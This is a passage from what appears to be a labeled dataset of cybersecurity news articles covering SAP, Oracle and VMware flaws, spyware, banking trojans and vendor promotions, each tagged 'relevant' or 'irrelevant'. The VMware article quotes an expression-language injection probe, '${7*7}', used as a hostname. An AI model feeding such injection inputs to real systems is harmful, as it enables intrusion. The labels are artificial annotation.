more time came from some of the participating vendors, with some of the vendors voicing COVID-19-related delays. Out of consideration for these companies, the time period was extended from 90 to over 120 days. Even so, some of the participating companies became difficult to deal with, as they made extra demands, and some, from our perspective, seemed much more concerned with their brand's image than with patching on the vulnerabilities,"" the researchers said. Since millions of devices would not receive security patch updates to address Ripple20 vulnerabilities anytime soon, researchers and ICS-CERT have recommended consumers and organization to: Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet. Locate control system networks and remote devices behind firewalls and isolate them from the business network. Besides this, it's also advised to use virtual private networks for securely connecting your devices to Cloud-based services over the Internet. In its advisory, CISA has also asked affected organizations to perform proper impact analysis and risk assessment before deploying defensive measures.",relevant
"Newly Patched SAP ASE Flaws Could Let Attackers Hack Database Servers A new set of critical vulnerabilities uncovered in SAP's Sybase database software can grant unprivileged attackers complete control over a targeted database and even the underlying operating system in certain scenarios. The six flaws, disclosed by cybersecurity firm Trustwave today, reside in Sybase Adaptive Server Enterprise (ASE), a relational database management software geared towards transaction-based applications. The cybersecurity company said the issues — both specific to the operating system and the platform as a whole — were discovered during a security testing of the product, one of which has a CVSS rating of 9.1. Identified as CVE-2020-6248, the most severe vulnerability allows arbitrary code execution when making database backups, thus allowing an attacker to trigger the execution of malicious commands. ""During database backup operations, there are no security checks for overwriting critical configuration files,"" Trustwave researchers said in a report shared with The Hacker News. ""That means anyone who can run the DUMP command (e.g., database owners) can perform very dangerous tasks."" A second vulnerability (CVE-2020-6252) concerns ASE Cockpit, a web-based administrative console that's used for monitoring the status and availability of ASE servers. Impacting only Windows installations of ASE 16, the flaw lets a bad actor with access to a local network to capture user account credentials, overwrite operating system files, and even execute malicious code with LocalSystem privileges. Two other flaws (CVE-2020-6241 and CVE-2020-6253) allows an authenticated user to execute crafted database queries to elevate their privileges via SQL injection, permitting a user with no special privileges to gain database administrator access. In the latter case, an attacker-controlled ASE database dump is altered with malicious data before loading it into a target ASE server. A fifth flaw (CVE-2020-6243) exists when the server does not perform necessary checks for an authenticated user while executing a stored procedure (""dummy_esp""), allowing Windows users to run arbitrary code and delete data on the ASE server. Lastly, CVE-2020-6250 involves information disclosure in Linux systems wherein an authenticated attacker can read system administrator passwords from installation logs. ""The logs are only readable to the SAP account, but when joined with some other issue which allows filesystem access, [it] will completely compromise the SAP ASE,"" the researchers noted. After Trustwave responsibly disclosed the findings to Sybase, SAP addressed the issues in a patch that was pushed last month on May 12. ""Organizations often store their most critical data in databases, which, in turn, are often necessarily exposed in untrusted or publicly exposed environments,"" Trustwave said. ""This makes vulnerabilities like these essential to address and test quickly since they not only threaten the data in the database but potentially the full host that it is running on."" It's highly recommended that users update to the latest version of ASE to resolve the flaws. Besides these six flaws in Adaptive Server, SAP has also released critical security patches for ABAP application server, Business Client, BusinessObjects, Master Data Governance, Plant Connectivity, NetWeaver, and SAP Identity Management software as part of its May 2020 batch of patch release.",relevant
"Oracle E-Business Suite Flaws Let Hackers Hijack Business Operations If your business operations and security of sensitive data rely on Oracle's E-Business Suite (EBS), make sure you recently updated and are running the latest available version of the software. In a report released by enterprise cybersecurity firm Onapsis and shared with The Hacker News, the firm today disclosed technical details for vulnerabilities it reported in Oracle's E-Business Suite (EBS), an integrated group of applications designed to automate CRM, ERP, and SCM operations for organizations. The two vulnerabilities, dubbed ""BigDebIT"" and rated a CVSS score of 9.9, were patched by Oracle in a critical patch update (CPU) pushed out earlier this January. But the company said an estimated 50 percent of Oracle EBS customers have not deployed the patches to date. The security flaws could be exploited by bad actors to target accounting tools such as General Ledger in a bid to steal sensitive information and commit financial fraud. According to the researchers, ""an unauthenticated hacker could perform an automated exploit on the General Ledger module to extract assets from a company (such as cash) and modify accounting tables, without leaving a trace."" Oracle EBS software hacking ""Successful exploitation of this vulnerability would allow an attacker to steal financial data and cause delays in any financial reporting related to the company's compliance processes,"" it added. It's worth noting that the BigDebIT attack vectors add to the already reported PAYDAY vulnerabilities in EBS discovered by Onapsis three years ago, following which Oracle released a series of patches as late as April 2019. Targeting General Ledger for Financial Fraud Tracked as CVE-2020-2586 and CVE-2020-2587, the new flaws reside in its Oracle Human Resources Management System (HRMS) in a component called Hierarchy Diagrammer that enables users to create organization and position hierarchies associated with an enterprise. Together, they can be exploited even if EBS customers have deployed patches released in April 2019. ""The difference is that with these patches, it is confirmed that even with the systems up to date are vulnerable to these attacks, and therefore need to prioritize the installation of January's CPU,"" the company had stated in a note posted back in January. One consequence of these bugs, if left unpatched, is the possibility of financial fraud and confidential information theft by attacking a firm's accounting systems. Oracle General Ledger is an automated financial processing software that acts as a repository of accounting information and is offered as part of E-Business Suite, the company's integrated suite of applications — spanning enterprise resource planning (ERP), supply chain management (SCM), and customer relationship management (CRM) — that users can implement into their own businesses. General Ledger is also used to generate corporate financial reports as well as carry out audits to ensure compliance with the SOX Act of 2002. An attacker could break this trust by exploiting the flaws to modify critical reports in the ledger, including fraudulently manipulating transactions on a firm's balance sheets. ""For example, an attacker could modify the Trial Balance Report, which summarizes accounting balances in a given period, virtually unnoticed, resulting in inaccurately reported results flowing undetected into the financial statements. This could result in inaccurately filed or reported financial results,"" Onapsis said. The Importance of Patching Critical Software Given the financial risk involved, it is highly recommended that companies using Oracle EBS run an immediate assessment to ensure they are not exposed to these vulnerabilities, and apply the patches to fix them. ""Organizations need to be aware that current GRC tools and other traditional security methods (firewalls, access controls, SoD and others) would be ineffective against preventing this type of attack on vulnerable Oracle EBS systems,"" the researchers cautioned. ""If organizations have internet-facing Oracle EBS systems, the potential threat likelihood would be significantly magnified. Organizations under attack will be unaware of the attack and not know the extent of the damage until evidence is found by a very extensive internal or external audit.""",relevant
"Security Drift – The Silent Killer Global spending on cybersecurity products and services is predicted to exceed $1 trillion during the period of five years, between 2017 to 2021, with different analysts predicting the Compound Annual Growth Rate (CAGR) at anywhere between 8 to 15%. It is not surprising to see this growth in spending, which is primarily driven by the evolving sophistication and volume of attacks as well as the surmounting costs of a successful data breach. And yet, data breaches continue. The sad news is that about 80% of data breaches can be prevented with basic actions; such as vulnerability assessments, patching, and proper security configurations. The specific reasons vary; but include staffing and resource issues, lack of expertise to optimize complex, multi-vendor security systems, and a host of other reasons. Whatever the specific cause, the common theme is that security lagged either internal IT changes or changes in the external threat landscape. The phenomenon is well known in technology spheres - from things like configuration drift as applications and platforms change without reorganization; to Cloud drift as new serverless resources evolve to suite point-issues but are not accounted for in overall infrastructure growth estimates. Because of this, we're looking at a new form of drift centered primarily on changes that impact cybersecurity – essentially a security drift. IT & Security Teams Face a Double Whammy On the one hand, security teams have to continuously address evolving threats and adversarial sophistication, and on the other, IT teams are continually adapting to change and making alterations to environments that can create security drift, some addressed, and some invisible. At the end of the spectrum are high-visibility changes revolving around hot topics like Information Technology and Operational Technology (IT/OT) convergence – and these usually (though not always) get concurrent attention from cybersecurity teams. At the other end of the security drift spectrum, it's day-to-day maintenance operations that may not get the deserved attention from security teams. These include routine activities such as software updates for new features, bug fixes, and vulnerability patching, and the upgrade or replacing of commodity software that does not require major planning. No matter if the changes are happening to new systems going into production, or existing systems in production, the drift is created as the changes are made without security oversight or with insufficient security oversight. Unfortunately, there are many examples of security drift situations where routine software updates and IT changes introduce vulnerabilities that require discovery and patching. A high-tech company that had a robust (or so they thought) A/V solution allowed for a three-week patch drift for 2% of its systems. This was because some systems required testing before patching (due to OS and application concerns), and others were delayed due to operational constraints. The company was hit by a worm that was propagated to almost all unpatched systems, close to 3,000 machines. The consequence was a denial of service from within that disrupted business and hampered remediation and restoration of the company's IT systems. A multinational outsourcing company deployed FTP servers for the purpose of dedicated file sharing with their customer. Their procedure for onboarding a new customer was to clone an existing service, change the default credentials, exclude the new system from DNS, and test the new system within a week of deployment. Unfortunately, in one case, the lag between deploying and testing was enough for a hacker to find a system that was inadvertently left with default credentials and penetrate the customer's data at great cost to the outsourcing company. The security drift created by the new instance created the opening that an adversary needed to initiate and successfully complete an attack. These examples are significant in size and impact, but it's the small examples of security drift that are the true silent killers, the proverbial loss of a nail in a horseshoe that loses the kingdom. For example, a Web Application Firewall that was misconfigured and placed into learning mode (monitoring only) and a case in which IT changed the name of a server that had restricted access. The name-change inadvertently made the server accessible to everyone. Luckily, this was detected before any damage was incurred, and the rule that enforces the access policy was updated. There is one thing that links all of these incidents together. Security drift is the consequence of change, and security operations are either unaware of the change or its significance. In some cases, it will create manageable risk, and in other cases, the risk demands immediate attention; but in all cases, the drift exists and puts the organization at risk. This lack of insight makes security drift the silent killer. Avoiding the Silent Killer The traditional practice for identifying and dealing with security drift is a combination of IT procedures and policies, vulnerability management systems, and pen-testing. While vulnerability scanning provides near-real-time results; pen testing does not. This may provide a lengthy window for security drift to occur that is unacceptable. A new paradigm of security validation is becoming widely available for the security Blue Team, one that automates security validation in production environments. Complementing periodic pen testing by filling in the void between tests, continuous security validation becomes a powerful way to reduce the impact of security drift by detecting and identifying instances of drift in near-real-time. Continuous security validation with Breach and Attack Simulation platforms can match the rate of internal and external change with the ability of the organization to detect changes that create weaknesses and gaps to help manage security drift better. Don't let the silent killer getya'. For more information, visit www.cymulate.com and register for a Free Trial.",irrelevant
"Advanced StrongPity Hackers Target Syria and Turkey with Retooled Spyware Cybersecurity researchers today uncovered new details of watering hole attacks against the Kurdish community in Syria and Turkey for surveillance and intelligence exfiltration purposes. The advanced persistent threat behind the operation, called StrongPity, has retooled with new tactics to control compromised machines, cybersecurity firm Bitdefender said in a report shared with The Hacker News. ""Using watering hole tactics to selectively infect victims and deploying a three-tier C&C infrastructure to thwart forensic investigations, the APT group leveraged Trojanized popular tools, such as archivers, file recovery applications, remote connections applications, utilities, and even security software, to cover a wide range of options that targeted victims might be seeking,"" the researchers said. With the timestamps of the analyzed malware samples used in the campaign coinciding with the Turkish offensive into north-eastern Syria (codenamed Operation Peace Spring) last October, Bitdefender said the attacks could have been politically motivated. Using Tainted Installers to Drop Malware StrongPity (or Promethium) was first publicly reported on in October 2016 after attacks against users in Belgium and Italy that used watering holes to deliver malicious versions of WinRAR and TrueCrypt file encryption software. Since then, the APT has been linked to a 2018 operation that abused Türk Telekom's network to redirect hundreds of users in Turkey and Syria to malicious StrongPity versions of authentic software. computer security Thus when the targeted users attempt to download a legitimate application on the official website, a watering hole attack or an HTTP redirect is carried out to compromise the systems. Last July, AT&T Alien Labs found evidence of a fresh spyware campaign that exploited trojanized versions of WinBox router management software and WinRAR file archiver to install StrongPity and communicate with the adversary infrastructure. The new attack method identified by Bitdefender remains the same: target victims in Turkey and Syria using predefined IP list by leveraging tampered installers — including McAfee Security Scan Plus, Recuva, TeamViewer, WhatsApp, and Piriform's CCleaner — hosted on localized software aggregates and sharers. ""Interestingly, all files investigated pertaining to the tainted applications appear to have been compiled from Monday to Friday, during normal 9 to 6 UTC+2 working hours,"" the researchers said. ""This strengthens the idea that StrongPity could be a sponsored and organized developer team paid to deliver certain 'projects.'"" Once the malware dropper is downloaded and executed, the backdoor is installed, which establishes communication with a command and control server for document exfiltration and for retrieving commands to be executed. computer security It also deploys a ""File Searcher"" component on the victim's machine that loops through every drive and looks for files with specific extensions (e.g., Microsoft Office documents) to be exfiltrated in the form of a ZIP archive. This ZIP file is then split into multiple hidden "".sft"" encrypted files, sent to the C&C server, and ultimately deleted from the disk to cover any tracks of the exfiltration. Expanding Beyond Syria and Turkey Although Syria and Turkey may be their recurring targets, the threat actor behind StrongPity appears to be expanding their victimology to infect users in Colombia, India, Canada, and Vietnam using tainted versions of Firefox, VPNpro, DriverPack, and 5kPlayer. Calling it StrongPity3, Cisco Talos researchers yesterday described an evolving malware toolkit that employs a module called ""winprint32.exe"" to launch the document search and transmit the collected files. What's more, the fake Firefox installer also checks if either ESET or BitDefender antivirus software is installed before dropping the malware. ""These characteristics can be interpreted as signs that this threat actor could in fact be part of an enterprise service for hire operation,"" the researchers said. ""We believe this has hallmarks a professionally packaged solution due to the similarity of each piece of malware being extremely similar but used across different targets with minor changes.""",irrelevant
"VirusTotal Adds Cynet's Artificial Intelligence-Based Malware Detection VirusTotal, the famous multi-antivirus scanning service owned by Google, recently announced new threat detection capabilities it added with the help of an Israeli cybersecurity firm. VirusTotal provides a free online service that analyzes suspicious files and URLs to detect malware and automatically shares them with the security community. With the onslaught of new malware types and samples, researchers rely on the rapid discovery and sharing provided by VirusTotal to keep their companies safe from attacks. VirusTotal relies on a continuous stream of new malware discoveries to protect its members from significant damage. Cynet, the creator of the autonomous breach protection platform, has now integrated its Cynet Detection Engine into VirusTotal. The benefits of this partnership are twofold. First, Cynet provides the VirusTotal partner network cutting-edge threat intelligence from its ML-based detection engine (CyAI) that actively protects the company's clients around the globe. CyAI is a continuously learning and evolving detection model that routinely contributes information about new threats that are not available in VirusTotal. Although many vendors are using AI/ML models, the ability of the models to detect new threats vary greatly. Cynet routinely outperforms third party and open source detection platforms and is frequently relied upon in incident response cases when underlying threats remain hidden from other solutions. For example, Cynet recently conducted an Incident Response engagement for a large telecom provider. Cynet discovered several malicious files that did not appear in the VirusTotal database. Contributing information on these newly discovered files helps our entire industry perform better and protect businesses against cyber-attacks. Second, Cynet will leverage intelligence in VirusTotal to inform its CyAI model in order to continuously improve its detection capabilities and accuracy. Cynet AI is continually evolving, constantly learning new datasets in order to improve its accuracy and decrease its already-low false positive ratio. Comparing files found to be malicious by CyAI against files also found to be malicious by other providers helps to quickly validate Cynet's findings. For more information about Cynet and the Cynet 360 Platform, click here.",irrelevant
"Critical VMware Cloud Director Flaw Lets Hackers Take Over Corporate Servers Cybersecurity researchers today disclosed details for a new vulnerability in VMware's Cloud Director platform that could potentially allow an attacker to gain access to sensitive information and control private clouds within an entire infrastructure. Tracked as CVE-2020-3956, the code injection flaw stems from an improper input handling that could be abused by an authenticated attacker to send malicious traffic to Cloud Director, leading to the execution of arbitrary code. It's rated 8.8 out of 10 on the CVSS v.3 vulnerability severity scale, making it a critical vulnerability. VMware Cloud Director is a popular deployment, automation, and management software that's used to operate and manage cloud resources, allowing businesses to data centers distributed across different geographical locations into virtual data centers. According to the company, the vulnerability can be exploited through the HTML5- and Flex-based UIs, the API Explorer interface, and API access. The vulnerability impacts VMware Cloud Director versions 10.0.x before 10.0.0.2, 9.7.0.x before 9.7.0.5, 9.5.0.x before 9.5.0.6, and 9.1.0.x before 9.1.0.4. The vulnerability was identified by a Prague-based ethical hacking firm Citadelo after it was hired earlier this year by an unnamed Fortune 500 enterprise customer to carry out a security audit of its cloud infrastructure. It has also published a proof-of-concept to demonstrate the exploit's severity. ""Everything started with just a simple anomaly. When we entered ${7*7} as a hostname for the SMTP server in vCloud Director, we received the following error message: String value has an invalid format, value: [49],"" Citadelo noted in its report. ""It indicated some form of Expression Language injection, as we were able to evaluate simple arithmetic functions on the server-side."" Using this as an entry point, the researchers said they were able to access arbitrary Java classes (e.g. ""java.io.BufferedReader"") and instantiate them by passing malicious payloads. Citadelo said it was able to perform the following the set of actions by exploiting the flaw: View content of the internal system database, including password hashes of any customers allocated to this infrastructure. Modify the system database to access foreign virtual machines (VM) assigned to different organizations within Cloud Director. Escalate privileges from ""Organization Administrator"" to ""System Administrator"" with access to all cloud accounts by merely changing the password via an SQL query. Modify the Cloud Director's login page, allowing the attacker to capture passwords of another customer in plaintext, including System Administrator accounts. Read other sensitive data related to customers, like full names, email addresses, or IP addresses. After Citadelo privately disclosed the findings to VMware on April 1, the company patched the flaws in a series of updates spanning versions 9.1.0.4, 9.5.0.6, 9.7.0.5, and 10.0.0.2. VMware has also released a workaround to mitigate the risk of attacks exploiting the issue. ""In general, cloud infrastructure is considered relatively safe because different security layers are being implemented within its core, such as encryption, isolating of network traffic, or customer segmentations. However, security vulnerabilities can be found in any type of application, including the Cloud providers themselves,"" Tomas Zatko, CEO of Citadelo, said.",relevant
"WebAuthn Passwordless Authentication Now Available for Atlassian Products Atlassian solutions are widely used in the software development industry. Many teams practicing agile software development rely on these applications to manage their projects. Issue-tracking application Jira, Git repository BitBucket, continuous integration and deployment server Bamboo, and team collaboration platform Confluence are all considered to be proven agile tools. Considering how popular agile has become, it's no wonder Atlassian now serves 83 percent of Fortune 500 companies and has over 10 million active users worldwide. To help create a better experience for these users, Alpha Serve has developed WebAuthn add-ons to bring passwordless authentication to various Atlassian products. Having a more convenient and secure way to login to their Atlassian instances should be a welcome development for development teams. How WebAuthn Works WebAuthn is a browser-based security standard recommended by World Wide Web Consortium (W3C) that allows web apps to simplify and safeguard user authentication by utilizing registered devices as factors. It relies on public-key cryptography to prevent sophisticated phishing attacks. WebAuthn is part of the FIDO2 framework - various technologies that permit passwordless authentication among web browsers, servers, and authenticators. This security standard is supported by Windows 10 and Android platforms and browsers such as Chrome, Edge, Safari, and Firefox. The WebAuthn specification makes it possible for servers to integrate with the powerful authenticators built into various devices. Instead of a password, a private-public key pair is generated for a site. The private key is stored safely on the user's gadget while a public key and spontaneously created credential identification are submitted to the server for safe-keeping. The server then utilizes that public key to verify the user's ID. Alpha Serve's add-ons currently enable passwordless authentication for Jira, Bamboo, Bitbucket, and Confluence with: WebAuthn for Jira WebAuthn for Bamboo WebAuthn for Bitbucket WebAuthn for Confluence Hardware security key and fingerprint can allow users to login instead of conventional username and password combinations. Users can even associate multiple devices and biometric data to their accounts, giving them more flexibility to login to their accounts. Benefits of Going Passwordless Though passwordless authentication is not entirely new, it's not available by default for Atlassian products, and there was no way to enable it until recently. By implementing Alpha Serve's add-ons, users can enjoy the following benefits: Hassle-free. Users are spared from having to come up with and remember complex passwords or passphrases. Users also do not need to keep track of their many passwords for their different online accounts. Ultimately, it makes the login process fast and straightforward. Efficiency. Passwordless authentication also trims down the time needed for users to key in lengthy and complex passwords. This allows them to quickly focus on their tasks. Besides, 30 to 50 percent of IT service desk calls are requests for password resets. By eliminating passwords, IT teams can free up their time for more meaningful work. Better security. With passwordless authentication, cybercriminals face a more significant challenge gaining access to users' authentication. Hacks using compromised credentials can be performed remotely. Hacking passwordless systems require attackers to have physical access to devices and have biometric information, which is challenging to do. Why It Matters Projects and data hosted and stored in Atlassian solutions typically are mission-critical and involve sensitive and proprietary information. Bitbucket repositories, for instance, contain the evolving source codes of projects. Jira and Confluence data also involve sensitive and confidential exchanges among staff members. As such, it's crucial to improve the security of these services. Passwords can be the weak link to most cyber defenses. Despite calls for users to adopt strong passwords, many are still likely to use weak and easy-to-remember passwords. Some even use the same weak passwords that they use with their personal apps and services. Unfortunately, hackers are now in possession of credential dumps – username and password combinations stolen from past hacks, which they now use to breach other systems. Just one developer who reuses previously compromised credentials on an Atlassian service puts the entire system at risk of a data breach. Not only are breaches costly to resolve, but such cyberattacks can be devastating for software projects. Proprietary code can be stolen and leaked, rendering the entire product useless. Final Thoughts As cyberattacks become more sophisticated by the day, software development teams are at a heightened risk of damage and loss. WebAuthn passwordless authentication is a more dependable solution for safeguarding confidential information. Fortunately for Atlassian users, they can now implement WebAuthn quickly through these new add-ons.",irrelevant
"New Android Malware Now Steals Passwords For Non-Banking Apps Too Cybersecurity researchers today uncovered a new strain of banking malware that targets not only banking apps but also steals data and credentials from social networking, dating, and cryptocurrency apps—a total of 337 non-financial Android applications on its target list. Dubbed ""BlackRock"" by ThreatFabric researchers, which discovered the trojan in May, its source code is derived from a leaked version of Xerxes banking malware, which itself is a strain of the LokiBot Android banking trojan that was first observed during 2016-2017. Chief among its features are stealing user credentials, intercepting SMS messages, hijacking notifications, and even recording keystrokes from the targeted apps, in addition to being capable of hiding from antivirus software. ""Not only did the [BlackRock] Trojan undergo changes in its code, but also comes with an increased target list and has been ongoing for a longer period,"" ThreatFabric said. ""It contains an important number of social, networking, communication and dating applications [that] haven't been observed in target lists for other existing banking Trojans."" android banking malware app BlackRock does the data collection by abusing Android's Accessibility Service privileges, for which it seeks users' permissions under the guise of fake Google updates when it's launched for the first time on the device, as shown in the shared screenshots. Subsequently, it goes on to grant itself additional permissions and establish a connection with a remote command-and-control (C2) server to carry out its malicious activities by injecting overlays atop the login and payment screens of the targeted apps. These credential-stealing overlays have been found on banking apps operating in Europe, Australia, the US, and Canada, as well as shopping, communication, and business apps. android banking malware app ""The target list of non-financial apps contains famous applications such as but not limited to Tinder, TikTok, PlayStation, Facebook, Instagram, Skype, Snapchat, Twitter, Grinder, VK, Netflix, Uber, eBay, Amazon, Reddit and Tumblr,"" the researchers told The Hacker News. This is not the first time mobile malware has abused Android's accessibility features. Earlier this year, IBM X-Force researchers detailed a new TrickBot campaign, called TrickMo, that was found exclusively targeting German users with malware that misused accessibility features to intercept one-time passwords (OTP), mobile TAN (mTAN), and pushTAN authentication codes. Then in April, Cybereason uncovered a different class of banking malware known as EventBot that leveraged the same feature to exfiltrate sensitive data from financial applications, read user SMS messages, and hijack SMS-based two-factor authentication codes. What makes BlackRock's campaign different is the sheer breadth of the applications targeted, which go beyond the mobile banking apps that are typically singled out. ""After Alien, Eventbot, and BlackRock we can expect that financially motivated threat actors will build new banking Trojans and continue improving the existing ones,"" ThreatFabric researchers concluded. ""With the changes that we expect to be made to mobile banking Trojans, the line between banking malware and spyware becomes thinner, [and] banking malware will pose a threat for more organizations.""",relevant
"4 Dangerous Brazilian Banking Trojans Now Trying to Rob Users Worldwide Cybersecurity researchers on Tuesday detailed as many as four different families of Brazilian banking trojans that have targeted financial institutions in Brazil, Latin America, and Europe. Collectively called the ""Tetrade"" by Kaspersky researchers, the malware families — comprising Guildma, Javali, Melcoz, and Grandoreiro — have evolved their capabilities to function as a backdoor and adopt a variety of obfuscation techniques to hide its malicious activities from security software. ""Guildma, Javali, Melcoz and Grandoreiro are examples of yet another Brazilian banking group/operation that has decided to expand its attacks abroad, targeting banks in other countries,"" Kaspersky said in an analysis. ""They benefit from the fact that many banks operating in Brazil also have operations elsewhere in Latin America and Europe, making it easy to extend their attacks against customers of these financial institutions."" A Multi-Stage Malware Deployment Process Both Guildma and Javali employ a multi-stage malware deployment process, using phishing emails as a mechanism to distribute the initial payloads. Kaspersky found that Guildma has not only added new features and stealthiness to its campaigns since its origin in 2015, but it has also expanded to new targets beyond Brazil to attack banking users in Latin America. A new version of the malware, for example, uses compressed email attachments (e.g., .VBS, .LNK) as an attack vector to cloak the malicious payloads or an HTML file which executes a piece of JavaScript code to download the file and fetch other modules using a legitimate command-line tool like BITSAdmin. On top of all that, it takes advantage of NTFS Alternate Data Streams to conceal the presence of the downloaded payloads in the target systems and leverages DLL Search Order Hijacking to launch the malware binaries, only proceeding further if the environment is free of debugging and virtualization tools. Brazilian Banking Trojans ""In order to execute the additional modules, the malware uses the process hollowing technique for hiding the malicious payload inside a whitelisted process, such as svchost.exe,"" Kaspersky said. These modules are downloaded from an attacker-controlled server, whose information is stored in Facebook and YouTube pages in an encrypted format. Once installed, the final payload monitors for specific bank websites, which, when opened, triggers a cascade of operations that allow the cybercriminals to perform any financial transaction using the victim's computer. Javali (active since November 2017), similarly, downloads payloads sent via emails to fetch a final-stage malware from a remote C2 that's capable of stealing financial and login information from users in Brazil and Mexico who are visiting cryptocurrency websites (Bittrex) or payment solutions (Mercado Pago). Stealing Passwords and Bitcoin Wallets Melcoz, a variant of the open-source RAT Remote Access PC, has been linked to a string of attacks in Chile and Mexico since 2018, with the malware having the ability to pilfer passwords from clipboard, browsers, and Bitcoin wallets by replacing original wallet information with a dubious alternative owned by the adversaries. It makes use of VBS scripts in installer package files (.MSI) to download the malware on the system and subsequently abuses AutoIt interpreter and VMware NAT service to load the malicious DLL on the target system. ""The malware enables the attacker to display an overlay window in front of the victim's browser to manipulate the user's session in the background,"" the researchers said. ""In this way, the fraudulent transaction is performed from the victim's machine, making it harder to detect for anti-fraud solutions on the bank's end."" Furthermore, a threat actor can also request specific information that's asked during a bank transaction, such as a one-time password, thereby bypassing two-factor authentication. banking malware And lastly, Grandoreiro has been tracked to a campaign spread across Brazil, Mexico, Portugal, and Spain since 2016, enabling attackers to perform fraudulent banking transactions by using the victims' computers for circumventing security measures used by banks. The malware itself is hosted on Google Sites pages and delivered via compromised websites and Google Ads or spear-phishing methods, in addition to using Domain Generation Algorithm (DGA) for hiding the C2 address used during the attack. ""Brazilian crooks are rapidly creating an ecosystem of affiliates, recruiting cybercriminals to work with in other countries, adopting MaaS (malware-as-a-service) and quickly adding new techniques to their malware as a way to keep it relevant and financially attractive to their partners,"" Kaspersky concluded. ""As a threat, these banking trojan families try to innovate by using DGA, encrypted payloads, process hollowing, DLL hijacking, a lot of LoLBins, fileless infections and other tricks as a way of obstructing analysis and detection. We believe that these threats will evolve to target more banks in more countries.""",irrelevant
"Cato MDR: Managed Threat Detection and Response Made Easy Lately, we can't help noticing an endless cycle where the more enterprises invest in threat prevention; the more hackers adapt and continue to penetrate enterprises. To make things worse, detecting these penetrations still takes too long with an average dwell time that exceeds 100 (!) days. To keep the enterprise protected, IT needs to figure out a way to break this endless cycle without purchasing complex security and data analysis tools and hiring the right (skilled and expensive) security professionals to operate them. Enter MDR An advanced security service, Managed Detection and Response (MDR), provides ongoing threat detection and response, leveraging AI and machine learning to investigate, alert, and contain threats. MDR is becoming popular and gaining traction. In fact, Gartner forecasts that by 2024, 25% of organizations will be using MDR services, up from less than 5% today. And by 2024, 40% of midsize enterprises will use MDR as their only managed security service (source: Gartner's Market Guide for Managed Detection and Response Services Published 15 July 2019 - ID G00367208). MDR is the industry's hope to break the cycle of adding more and more threat prevention tools, as hackers continuously increase their attack capabilities. Yet, to gain visibility into all network traffic – critical for effective detection and response – traditional MDR services require installing dedicated software and hardware across an enterprise's network. This deployment model is expensive and complex, causing many companies to put off implementing MDR services while leaving their network at risk. Houston, we have a triple problem 1 — Every enterprise is a target for hackers, regardless of its size or type of business. According to Verizon's 2019 Data Breach Investigations Report (DBIR), 43% of breaches involved small business victims; 10% were breaches of the Financial Industry, and 15% were breaches involving Healthcare organizations. 2 — On top of that, enterprises need always to assume the worst, as Gartner states clearly, ""The assumption must be that the organization will be compromised, that the hacker's ability to penetrate systems is never fully countered. Continuous monitoring of systems and behavior is the only way to reliably detect threats before it is too late."" 3 — As a result, enterprises must continuously stand guard, presenting a huge challenge for IT in terms of resources and in-house skills. Furthermore, according to the DBIR, ""56% of breaches took months or longer to discover,"" which during this long dwell time the malware distributes itself, spreads throughout the enterprise, and when activated, the damage caused is multiplied. In short, if all enterprises are targets, and must always assume they're under attack, then IT needs to be watching 24/7. Hmmm, does this sound impractical to anyone else? Okay, we've had a problem – meet Cato MDR Cato MDR is incorporated into Cato's SASE platform, overcoming the complications of traditional MDR. Cato aims to break the endless cycle of increasing threats and lurking hackers. How? By enabling customers that use Cato Cloud, to offload the resource-intensive and skill-dependent process of detecting compromised endpoints, to its SOC team. The team has instant, clear visibility to all traffic, and there's no need for customers to deploy any additional network probes or software agents. Cato automatically collects, indexes, and stores the metadata of every WAN and Internet traffic flow traversing the Cato Cloud. Data aggregation and machine learning algorithms mine the full network context of Cato's huge data warehouse, detecting any malware indicators across customer networks. Cato's SOC team assesses the traffic flaws and alerts customers on any active threats. A sneak peek behind the scenes Cato claims that its MDR service stands guard for customers, and dwell time is reduced from months to just 1-2 days. We had to get a closer look to understand, if and how this is possible. Here's what we found. Cato's MDR service delivers these key capabilities: Zero-footprint data collection: Cato can access all relevant information for threat analysis since it already serves as the customer's network platform (remember, Cato MDR is integrated into Cato's SASE platform). This eliminates the need for any further installations, and all that's left for customers is to subscribe to the service. Automated threat hunting: Cato uses big data and machine learning algorithms to mine the network for suspicious flows, which are based on the many flow attributes available to Cato. These include accurate client application identification, geolocation, risk assessment of the destination based on IP, URL category, URL name structure, frequency of access, and more. Human verification: Cato's SOC team inspects suspicious flows on a daily basis, closing the investigation for benign traffic. Network-level threat containment: Cato alerts customers in case of a verified threat, and based on a predefined policy, will apply network-level threat containment by blocking the network traffic. Guided remediation: Cato provides the context of threats for IT's further reference and recommends the actions to be taken for remediation. Additional cool capabilities Multi-dimensional approach: Cato has full visibility into all network traffic. From each network flow that passes through its MDR service, Cato extracts and collects metadata on the following: Source – Cato distinguishes between human and non-human traffic, client type, OS data, and more. Destination – Cato sees the popularity, category, and reputation. Behavior – Cato knows the traffic patterns, such as frequency and volume of data. Cato then stores all this metadata in its big data repository. Cato's unique multi-dimensional approach Cato's unique multi-dimensional approach Threat hunting: We zoomed into Cato's threat hunting technology and learned that Cato reduces a daily quantity of millions of flows down to only 10-20 flows, which need actually to be investigated by its SOC team. The team then reviews the list and makes sure customers are only notified of confirmed threats that need attention. This eliminates what we all dread – false positives. Threat hunting – from millions of events to a meaningful, actionable item Threat hunting – from millions of events to a meaningful, actionable item Service walkthrough The Cato MDR portal is where customers handle all requests and activities. The portal includes an online ticketing system, through which all threats are reported, and their remediation status is tracked. We found the portal to be intuitive and self-explanatory; we're happy to take you through a quick walkthrough: Once you log into the portal, you'll be able to view your company's activities' detailed status. View all company activities and requests View all company activities and requests For each request category, you can see a summary of all active tickets that include: the ID number of a specific request, the name of the requestor, the time of the last activity performed on the request, and the status of the ticket. Clicking on any of the requests enabled us to drill down into its specifics. Each threat incident includes the following detailed information: Name and IP of the site on which a threat was discovered. Type and name of threat. Risk level of a specific threat type. Internal/external IP address that is the target of an attack. Domain name that refers to a server's IP address. Destination port number of a communication channel. Reference and link to Cato's event discovery (Instant Insight). Action taken by Cato's SOC team. Further reference to a specific threat or attack. Recommended action for customers to take for removing a threat. Drill down into any request Drill down into any request Cato MDR generates monthly reports that list all previous and ongoing investigations and include an executive summary section, which we found especially beneficial for easily sharing with relevant peers and managers. Monthly audit reports of all events Monthly audit reports of all events Monthly audit reports of all events Wrap-up Cato MDR won us (and Cato customers) over with its sophisticated capabilities on the one hand, and easy-to-use portal on the other. But mostly we were impressed by the peace and quiet it provides enterprises and their IT teams. Cato supports Gartner's four stages of an adaptive security architecture. Cato's integrated security stack addresses the Prediction and Prevention stages, and Cato MDR concludes with the remaining stages of Detection and Response. Cato Cloud Cato MDR adds Detection and 